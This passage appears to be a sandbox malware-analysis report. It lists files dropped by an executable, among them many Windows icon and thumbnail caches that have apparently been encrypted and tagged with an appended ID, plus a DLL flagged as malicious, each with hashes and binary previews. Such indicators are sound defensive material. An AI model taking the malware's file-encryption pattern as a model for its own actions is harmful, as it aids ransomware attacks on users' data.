SSDEEP:	6:mVDfPGUyAOUKmWl6eJOMPOCw9tgTlpVBW6nH3aXDYhLTMgfwh7pKwUuQW3cii96Z:m5fyAO1l6mOMWFeDzW6nH3aXsh3Mg4hp
MD5:	8FB2691A547BEF724959628660AFFC8B
SHA1:	3DB9475AD004ED35D86F31A5D6196D17C76528C2
SHA-256:	FD0051101958C5797F93FDD63B2C87F7BC0BC1BAE23ECF8C2178EB6DA800FDE4
SHA-512:	F0C0546E110E38F983A8F5B9B74B61A710542503A5864B2FD87CFEF51F0103FAB1BB61C2DFC8277E607F1D12484110E9C2F764009092EF7FA7CFCE165E98E5AB
Malicious:	false
Preview:	CMMM 4...v.t2.R#H~..a.$.^..n..7S..h:.@...J..U=...e.r.}..E.H.3?...v.....P..:.f.6..........C.&.c;..#..i.P.....(w...1M.Y..9.....NA....ZR..#V..(Ok.....HL..m}....#3...*Me=.....L..T...._......u...a.".....S.....\.&k(.P......2[I..Q.....C..A..d....o.Z.....C...9L...&8..}P..4.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.314394496878923
Encrypted:	false
SSDEEP:	6:9r3aUaez3CCErPp+iiF8DKu2+BMt7BguPWvZcnU3VsaQQW3cii96Z:5qLY3ClIiisKu2+aGu+vZcnUlrQQsciD
MD5:	BF1D1B41585465F31264CD92931ED5DB
SHA1:	9601C9288D79C940B5A5032EDDD78ED4A73637B5
SHA-256:	F993A791E1AC45EE38924F915E02C1D01E46984EAF34B95AE37A70EEB316993F
SHA-512:	3E02AC8EA178855B71454AC662661F8D549A66A3AA4000C25D3AA1F6D26F32CD6544CE7247120DF4D88F858253B9CE60464A4F00151B80D7A44F2C62A985E78B
Malicious:	false
Preview:	CMMM :..}.92....m..*.lR..%a...{w.?... ..PV.9%.t3........t..)..g.d....ot...?;.F......v..M....[d.?.E.y...>...Lw........^..;..Y..y9mAl.o..rjU..ucJB....;H.\|ETO..S.CL.E\|V........i.....SO...ll.W.....&.....?..a7.7U2.....s."..Gq.I,..-.b3?........?'.(..}...V.8....[B..%E.z8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.292075094752627
Encrypted:	false
SSDEEP:	6:6wk29CINuI3KHKOuc00Iy0uvC5skBJtidCEq0vfzZKrmCQW3cii96Z:6wF9CLIoKVG21akbtWlq0HzZK1Qsciik
MD5:	F217D667E118DCE596BF24C6E18CE7B9
SHA1:	B2E7E8ED4DEEF2122C497A62F42F2E86B0E828E6
SHA-256:	4BB695B847E27AA348B25231BDCC77AF4362E45D26A3698A55215BC5F1EF85B6
SHA-512:	6D70D27DC4FE268912F87D01840FA2BB1B04F1ED3475D147AD44DE33C35415B7771D260CDEDD08698BEC997CB251F96A8D1A6E1A0206FB7F88702330790F589C
Malicious:	false
Preview:	CMMM y1.e...=..7...b.....az.0G...-=)...Ax......R.W &......L\|l..fK....v."..5...s.tu7.....D.....+.JR...3.P..JmIH../........._..t?.^~...<b..San...`pXC..m,g..Q....@.S8.....Q....IDG.,...[.1]n...S.h.6..Zx.-71...2....AAe....tqV.@a~.e......lH~.e.Kj.!...z.../S.{hD.T...%..,.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29004872178156
Encrypted:	false
SSDEEP:	6:p0Qw/uzAe84JIyv3QxG0HhSxnobC+xDLobgaKB//HRUDoz7mVvhz6/OlrYJ7dKQ+:vMsIyv3kRBhC+xDLobg1V/0oXmVv7r2c
MD5:	66FD12DE14CACC7BE15C628B180F3AC6
SHA1:	27E864F9276B06C4C7D6A3F079C339A2F1AEEC9E
SHA-256:	E786F029D36D314E16E4294410488C6C00849DCB19A6EE611CA4AC4AE137A013
SHA-512:	EA1A5961B35B3ED8EAE8108DCFAB09235DF638188173053F3E93560E32B6AE8573FA5BF8EC45DCF91C0E190DC102CB1DE3929F6CCDC258241816F4D0805BA4C4
Malicious:	false
Preview:	CMMM .Vx.Y<&W.g5X.W.r!.6.:8/.a..L...5..../..Y..(q..a..J=G;%..oZ....+.NzT..Tc.......N4..S...0..,.R.!....m.d...........3..2i.y..Z..Z.0.f....\...^...E.,..&-.%....B.h...x.[kB....4a..K....5w.....F...%..-.A...^8^.A^....c....<.b...R.SQ5g.......:....r...]@.1...\EJmK$9...G3.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294338125561699
Encrypted:	false
SSDEEP:	6:JdxOJLStDxFEj7X0fXa3ehZ9ytsg0hu9SHQM5bfSGWeYTuQW3cii96Z:ZOhSrKkfaOfotBCPhfqeYqQscii9a
MD5:	D4D21B399A79B6C6400B12186166F1EE
SHA1:	7423EDD193D7C110A3B2E2DBEFF4A37409D6BA9A
SHA-256:	D16DBB1A671A34611C270961DBEA3E2D6B6DE93847D69A3197AE1AD10A0EAFF9
SHA-512:	B9863812F7296F1C0574A529672C6DB313F496B14A7B31F753C35D4AA16C98881E0A34F661ADE5D64CBA03C08D117C01ABD73F9865358D5A2D0FF957CE06F5E8
Malicious:	false
Preview:	CMMM .?..Np/..q=.?..%.E....%.......]..:.WbC\|.%Z.....fi..H<=.<)....8..B.....^....VZ..q@<....xq.}....&...;1...Oe.R..."..Z')....j..D.....,...}....)..\|BC.s\|.0..'SK.G1...........................E.=....L;.b...Y./#....J?}....O.-.. ...<k..w..}>#....S.R)..}e_G.=@..F.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3322639650400685
Encrypted:	false
SSDEEP:	6:/wjCFL50K/1LQOww38cOQLQwkzuUskGZ3Hmh81b+J9e+kUjpNuQW3cii96Z:/j50w1LQU8q+SdPhmhO+J9e+ZNNuQscq
MD5:	A3EDBB044B6328DD983983A32AD37A9E
SHA1:	623DC7DDBA6A0B5237D976015656B6050CF9CE2D
SHA-256:	581F35D0A92AAA73816D334807A608DE1AB2B3EEB9345570BEBC81AA6FF4C746
SHA-512:	FBFFDB43C415166CA6E4C0FB6B2F6384090B27C4245D580B0F6FAAC7A611D7C66F35EF5886E65DB72727AF85047A8B7B7D4E59AF720093CB5EB1B6F82164D720
Malicious:	false
Preview:	CMMM .....~c....}......Z5.v....)..u...My..F....W.8...e.q9.h..k...~$..!.U....,.......T......!..h.I..1w.......tS.\|..*i..7......R...."..V./.'._...Q.....xQ..9F<.6......y~.1..........(....i.....o. ......v......Ji...XK....:.[R.N.=.1v.]. U...\..Y~s..).-..#3......\m......h8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.250411635464706
Encrypted:	false
SSDEEP:	6:W15Dve0RW25gmqQzxo09YoczQP/U+bbZQGiXj8fTi5zIrLAwUdUQW3cii96Z:cg04wzu0CDzs/lbbZ2XAfT0zIrUhuQsX
MD5:	D733443AA57720DBF2E78C016D77910B
SHA1:	9E163CB27BAD56C7E02AB64877FC18C08F8BF2B5
SHA-256:	70ABA1E44685D374FEF3CBD5A5ACC43604D27FA7AE3ED10F516C838A2F18D27A
SHA-512:	525D783F6D02F2833AF9FD62C5274E53B3E00E817F15F464B3ED8FF9CF4C0227826EDC2EAC02CF7A6FEAF7B553A028DC4DEAA35E4575DAE0D87CAC730038BD96
Malicious:	false
Preview:	CMMM r\2.oP....Z.,&.}03.VJn..4....V......A...aK......^0.4Gp..X.......Ny.T....g}o..dt_...?...Z1..d.u.._9x.H,..~d.=....W..V.{)M.....mmK Q..W..6....../..t..ZYTA3"..zZT...Z2.&.......icr.$;..<..&.P..KH2.#l.#.[A/U8.O...j..o qK.}..5....".Y.9.2%.x.3[n...../..e...`_w&<..S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.334119061092947
Encrypted:	false
SSDEEP:	6:BSkcf8/W4ph3igzq6BAtXg+2AQH4j+Bycep+viyjqZvQW3cii96Z:4XE/W4TSeq6f+LX+QfpJ1ZvQscii9a
MD5:	38C45C0C9A314764FBD4E3DC493334C3
SHA1:	445C5DDB62BE1E85C45404CA14140C6EECC602F8
SHA-256:	3F08DB5173ACD5CC56FBCAC26FFD7E7D21367512E7D738EAB3463523FCA66F4B
SHA-512:	8CD5F785F475DEB567ABB4B1CAC4442DD38AED9048D941EC79E903B77ADD21107817023035442DC2D9DECE1DDF0850C7B3331C123A6E7E264FAABD1B8B7D6E83
Malicious:	false
Preview:	CMMM .......qT.p.?5.......F-........E.l..[H.;0...ceI.......5.\|.8.D ..Y.....k.\0.C...Q..Or.....I.~u.ZCx..e..$...4.y#.W...T.`.3.~n..-......>e....F.8.g.gn..A.4..)*.<..%...s..v....Y+.U,.;O..4?..O..V.....Q._....j.F@..F....l..i..]..y..^.%..`...{..m.J.X...~)..N.Le..18Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296705940692907
Encrypted:	false
SSDEEP:	6:Qo5YX1cvgv52yMZCZiDBRdlqcmc2YjfwJUvXKuwQW3cii96Z:1vvghWCZKrGUaUjwQscii9a
MD5:	45DB603C103CC292CCDE5C21B08F1A02
SHA1:	EBAA46B686859AF2D2AE893A84A6FA8B0D347BF4
SHA-256:	9D3EE823E1BEC5E69B548B599FAB52CD9FDFBFBD42946B47FB33B220DB8FCF8D
SHA-512:	43019431A79B62F3D90AB2075B09091107E66D85F4E1009326215CF0E984C278729CDC7ACE8A41D38FAB9DCA89A229F864D62B453C82A3FC1261C254979D197A
Malicious:	false
Preview:	CMMM P[.[..i..1..6.W..y...r,s...t3..@.Ncz...]..w.l.e....c..!OQUi.<..pbW..#.....e#.......;Sp....>.......w.h..(.Ze.u\$k.Y...f..1.U..H..Gfj..I8.K..~o/..o...h.27..N7..jS2...>D....\|....'...Q.l+.K~..\h...}[.B...-C..!...:.0R%.a.;.VYZ..f...m.;...4......tq....*....sD..l.Od....Q.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685187548804955
Encrypted:	false
SSDEEP:	3072:Kb/mgXyiQpp4KyHBUIzhE7AYmVO3A1gwWiFTRKYf/eaT6DhwMWFpmJMh:NBiizM+WVO3ggvYUYf/PTghwnpl
MD5:	08A8C210E8E38FCC93E369ED7777CE3D
SHA1:	5B0ED76B133B1653534D523737A21B57690CD527
SHA-256:	7D071E17C3ADEF23E7FC44F2B57E575A62EF53A910BB433A81446D9AD42BD3A4
SHA-512:	71BCE8E691BB3960B52A9BC49B661DC3E4E01FE2776A3D3459C97E2D4A45BD46AB31710588A435CBB7FA989918F46EB405D09D172A9561252FC60CF2579BFFF1
Malicious:	false
Preview:	CMMM K...}....R;B.y...}.z.Ly....v.7.?.J..eH.1u.g1..>.->.. ..QSp..0..S..+...Ue5.+........m....P.H.R.4.. ..o/...xWLt....G..}.....N.K=.....L.Q...(&ruF.N.v...=Ck..R....c=.%.+.0.....K../..i..sD?..S..?1f....l.W...'........->...M,..8B....]."..%a.cH......p..T.`1Dt<.o......]..CS..#..K........0..K].J....)7bZ.2.S......{....2.[.....lM..;...V..Z...R.!..,j........S..r..v.K...M.7.2..8ju.7.>..OU2l.....i.....s.. ..,.W.2..?.....'......f......-Aa....J.Uf..,-...?............,en....U.->....z..C...K......-.....h.m..K...........).....3.y..#W....W.S.H.\.m.:...@)..Lwb3,...s.C.C..3.k....T.Q...U<.5.....M.lMU.{...... f.xq....b4..F+-#.{ND...D.4......f.......s32'I....U.....#........V.2.........ID...........Ln!{.....ulx.IZ.x..09.E......x..=..6#.N.Q.(.iN..%`S.#.....]%....Ht...:.4Q..d..........nc.1..#9..3}AA^....x....j.>..G....`.T.q..'.P....F...y:+..P.x........#.%.$...pn.8..fP.........=.).P...P.{....+.....e...Y.mC.`.I...../~ .....Ws.......UY.\|[.J!

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.339524280181576
Encrypted:	false
SSDEEP:	6:7Nx0QjQihPaJASlU3IUoSwuFICPEE3AsoMW6Gkhn5+yWQW3cii96Z:7NJjJVSlUkSwuFICs8AJz6Gon8Qsciik
MD5:	2DCA1C1D156578E40F64AA84AB47161D
SHA1:	9BDD1C68C11A0B26A8A5CDD9AAEB3A4FDDA43817
SHA-256:	1395BADC4F8FD6E043ADE588D991C2B3F8BF3085513AE935636EAB83C5C49801
SHA-512:	ECC275D390C90EFDEC95DD88D1393ADD23041B2B409A18CA4CEA5B6FC0CF30E57181008A0ED4781DBC0294A5AE90B6EE20061DE4D8BA8C99A6D694AB1DA4CD1F
Malicious:	false
Preview:	CMMM .,=...p.(....i....c..e;.A(Q..dC........<......R..=.pV....E...2.RrKY.z.{.f.5~I..m.w.'.YC....07.;.....Jn......S..Z,y;).#....F+./.L8!;X....~ld,....._.N.Q......n......l.....ym..e..rIS.@#v..[.(.<-&.........1.,0$..vW.....T...E...}]yo.R.... o..^..d-{.BI;[......."8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.30133112406454
Encrypted:	false
SSDEEP:	6:c7ZI78wj0LRnQoKesV3m/A49sOdvlF9qDs4vKl7l0H8uQW3cii96Z:tgwj+RQoKesd6vxlP4Sll0cuQscii9a
MD5:	B80F8480395E3AC026D58A27670B1875
SHA1:	13EBAA64A4DAFF327575D0A445D8FC8E1161C92D
SHA-256:	FA08C00969D0D2FBD314E6DD01B0503BF32664AAD3E82AFB7001119A6F4F34DD
SHA-512:	D35E3F4F93A8CFA35DD3AFB0524EBE787E628360C2E970F21103EC1F1CD11FCB22BB490F2C6DCE0D402D4CE4927E4CCBA342C41D60D130BDF2A511A0ADD431E3
Malicious:	false
Preview:	CMMM ......AFC...'f,.~.9..fP........._..d....+.V.....p.U..4.>5;..k....."....m..y..]...S..... A..P..B.D.....C.:....Ti.#A.m*.[.W..X...F..9=.......U..........q...e...Q4H..$..,.!.%..\eR..8..6..i....Wp......e..m..\R2.8....i.>..}/s..........".YF_...a.`..Tu...pBV.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7687742337509842
Encrypted:	false
SSDEEP:	3072:dnGobAJesQ1kqOYKBCGmaxImv2LrNNWYPbcSb02OMGiJOemTe4/:8obGesalOIDGyrZI6fOlip0
MD5:	43B998DC4A852C5D57D144EA6612D9F6
SHA1:	C564D284591F7607CC42D4A82842AF11A0E528AD
SHA-256:	EB92D781D8EDE749BC94AB37D639E8647F4706AAFBBDC9047C098AEBA8EA29A5
SHA-512:	5ECBD39028BB60B3C1A7856B127FB4462C650299C4037F15AC86613C8862527717EECBC3E811CCE53087906CC6AED10BDEBF35A286E03F58987038F10921276F
Malicious:	false
Preview:	CMMM ...:H&..gx../.....Q.l...j..k..OB.E.z.VB..r...,...f..?....#...'.i...[k..ad.gq6.I.>.P.5..x..YTsH...P...d..'...2........j.w.F'...q...2.v.rU..)m.y.U.......w.B.....g..mV.By..~5.).S..#..>..p.z....[...6C$9...R..Kk.....G...5..c..\|=.....C..>GD...3...in.....`....F.Z...\!.{!.......r.Q$j....v/!...a.".wD...%.-&..%......e.o..W.O.GNA-..U.....f-..........v....8........LK..n.vkl#..~.5{.R"B7..UI.eV..A.VrV2-.......'R:Q.M.X.Q..G...;...K.:C..:.=SI..i8.............9!2...q}Y.z:1L...... _..uD..:4......~..Dy.U.n.+.'.~r...$V....I,..d..$1..@...T..iy..v.I....w../..^`p..P..............U..JQ....S..N. .....8...9....ca.B.+....}..JZ{-....%......!........B........C..2...c.....u.n.D...h.H.6..LCNK....qf[..o....o....I...R..... ..xe...q..K....>...yq..U.....#7...xU`..]......f......6..J%<...Q...@...G> b..E.<[]....sGl.._....Z..]..gD...>.../.OU..O.N-..z..H.{..j.o...p.#<y.chz..._.......zdt....2Tr2.m.ZtJ..4...}Sz...[,7.4ar. ..5..4.....}W.[.}K...MPSG...9..^.ZwuA

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235506954981269
Encrypted:	false
SSDEEP:	6:ADmhEpx3ZjJkPw5FkPBIYh5DuDzQkMvf5BVtmS+t2w4Ea69gXiUuQW3cii96Z:onrjaPykuYXYzqXnVIS+tx4EDS3uQscq
MD5:	6BF96E9680CC92386DB2AB568F9355B7
SHA1:	E3E243CE2B8322643DE344BFE77B114EAD8B6ECD
SHA-256:	884923C532C5211D6BDC0E049FA7B0A66C0770F8F548401D70B978BC5855074E
SHA-512:	FBE2EAE29ABFCED0F3D4F91D9F79878903D232263693461C70CEB0A0F4304E4943383933F66CED4A18F68BE20A590E02CF8AF302C255219A9724B7BF65AFF6CD
Malicious:	false
Preview:	CMMM [.DKJ<...K[0.@.f.. &.3..J..:Xu../7...e.26fP.B./....gc[.(,..Z.].mb.]..m.."a.:...".AY.<.n..Iv....M.#...]M.a7...>.../R..L.....w.K.1...r.." .8..,....s....W........:..Q..P....u.p.......e....^.{......+.D(w.u..o.V....e.o.13...:......I...!@8f.h.L[....).:.&..^..rgO.40.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287992489634908
Encrypted:	false
SSDEEP:	6:z2ln7agXTtBQy1xzOGg72AsVJImvzjX0SUXNCGrohKQW3cii96Z:zwOgDtY372AsVJzvzKXNCLQQscii9a
MD5:	65D08D151AF2794713D42F50AD5E72A3
SHA1:	B7A5BE2E251A8C855E17100CFF1DF86627BFA825
SHA-256:	F2267ECDC5F62B1A2B5A8E78FD31B33F5457E36555B9516957FA2B9DB818F067
SHA-512:	ACF3472F120645E3B129075D271442FDB60704AFBB45F5445F8B15817DE9E2F66AEFB3DDD42F743C0C85262A1E34D9E13B002D88B09E90959849D060E9CE23C7
Malicious:	false
Preview:	CMMM 9...l..........[1..w...4&..#F.!lj^0{...n...B...L....r.... .......f.h....:.....t...$.._..Y]w...w .(U#...C ..E^c...>..:.(.2..g..o.I.9Ot....DU....m.".n.w...Q....R.D...X...+..DR.....\m/....}x..._N...\`h..K..{...5._E.rt:..ON"%M.s...U..k.z.GG*v!m.......q..&yk..-....;.:..u..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.27769523165099
Encrypted:	false
SSDEEP:	6:zScnxkFxGZWwq5sLrMqsDuEteUIwzxWLZkUiSQHEM1V5F3nqIjT2QW3cii96Z:z5GmZWwq8AwQeUIexMZkUi3HvrXKQscq
MD5:	D63A57FA51526721F5F38506A949D8EB
SHA1:	6B8061516AE86001ADAC790EDF43100AA3CE7D9B
SHA-256:	40F6C4848C98D42661C7D401BB76A5505B948A87218145C801A2A08384EB69D5
SHA-512:	B371BDFA2665588538E82908524627EB0DD98E43085B70912B31C77C6D449F20CDFA17E88AAD8D57170F1A8C4AE0275D0D5E4824317E07B500BD55CDE397E418
Malicious:	false
Preview:	CMMM ........D...".W*...I..k........EnL.3.4.'...yA... .dQ+.r......}".RC#j.K...:>.n.Wy....].).....F`Ni...b...w...?s..C.$...}......M..O.O0.- ....2.....W.. ..QY.h.o..6.=`.w.....n...Z.aPn....<S.......#....&..;a.&L.Q.,..&.....E.-D.K..t.....9y.....^7.W=...b..l..s>o.H....<}8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279739365494174
Encrypted:	false
SSDEEP:	6:E2q3+9rz/VbtBCi/0ZxxmOcz5rDc3qWnRVzzZdHu7oDuQW3cii96Z:3S+1DVbKKoxxmOcz5n4zuzQscii9a
MD5:	289EF78B200F0C75CD1B831F0299C1AB
SHA1:	191FB84A34EA49F8B619C425B6AFBAD5F3911DED
SHA-256:	FA123FAB2D53A970A8B0D0F43CFC29E513F5A993B609A0C303F6C05D5C5F91FF
SHA-512:	D8DF25C59C8DF72C732EB596CBBDF1289D4E8A1D8C082E36C6A18BFFB2DABFF7253A389C70C284C41673C0A326C34669C9E4D231353416575E7BE98E3D6593F7
Malicious:	false
Preview:	CMMM ~.-T.e!._bt.<....2r..>...y.!#...#g....*..:.^z@....8r.9..+.r_...'..07..yF._...aJ...Ag.u.2.V..H6.6.>...L......:..M`..V....f.E.mdf...#l..G..7....%(.a.i-..........y.+9de5G..9..O..R.....uM.....Y.....uS.q.}.B.j....q..=...\..X.c..?..2mwP.jy.?3.J....wH....p.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279667210329472
Encrypted:	false
SSDEEP:	6:vshoj/dNOTSxWC9UOYX7AKr23r+QTtQ2os2jqblzOh4edUQW3cii96Z:3/5m3rq3r+atwXRusUQscii9a
MD5:	9F2CAC2CE609D4BC7DDCB18717141E30
SHA1:	D53F01919B2BBF63B74E8D75A5DAA0AE895AB021
SHA-256:	4B6E7E30B6B32D6362F8CD5993033098A3D4686E64B8E29422A93BECC2B8B43A
SHA-512:	DE4F9BB78BF7621C2F982CDFFAD9224C3F67C34E313B4AC3B177D0DFCEE9838C8BDAB089F6F80E8DC52FE2A6071202A5C4F6683F009382E7748266064F9A02D3
Malicious:	false
Preview:	CMMM ....f.>....P....l.+4`d.+..$'.."....F.N..pX..r...(...[..6.i.....'.....P ..8..........s....gE.n...\|)Z.El..G3.z....^.Dz...$Nh7.h.'.q..IC..../ .....6.....56(..@...Qw..:<U....fQ.@n_[..a.e..1.&..B.J..\.~..CM...\|iD..O.....l^....S...3..`l.b.u....l0.U.YM...\.C.J...x.~8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.248535235391688
Encrypted:	false
SSDEEP:	6:tG5l/Lp6FU6tkNHZgb14Fg/SpeTkODSpsDuE+wUuQW3cii96Z:t7m+CFNKWauE+QQscii9a
MD5:	7D22EEA2ED2BF34894F692B2FC722A6B
SHA1:	884C0A535C470CEABEE7373D0B8755087E5D2640
SHA-256:	DEAF4765B500D55C67F94FC5E8B7358905B081191E36821590F0D9454DBD4426
SHA-512:	4464AEC7378E057B9C027D12D3E97E501DA3BEDBD59DCEFA68CEC6C007EE04849579C0309D29C50E9AE8D8C42794C95DC416CFBA902B95F95D46242DD4F46A52
Malicious:	false
Preview:	CMMM PC...S.6\.....4P.=r..d.{.H...m.....k.O..CE.bR...G.+.....@.Q..B4..'6\|..`.Eg...6._.*`.......tHp.kD.$oVW.+..w..._j._]...;.S").2...M....4.G... @.........:77.'@0.VN&&.Xv. ....T.g....R.>{;.....VN...:..kq..2 .B. +=......Bf...i.j....O......,....s...C....E...H.%GOkX.N..Ir...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.9946859727039294
Encrypted:	true
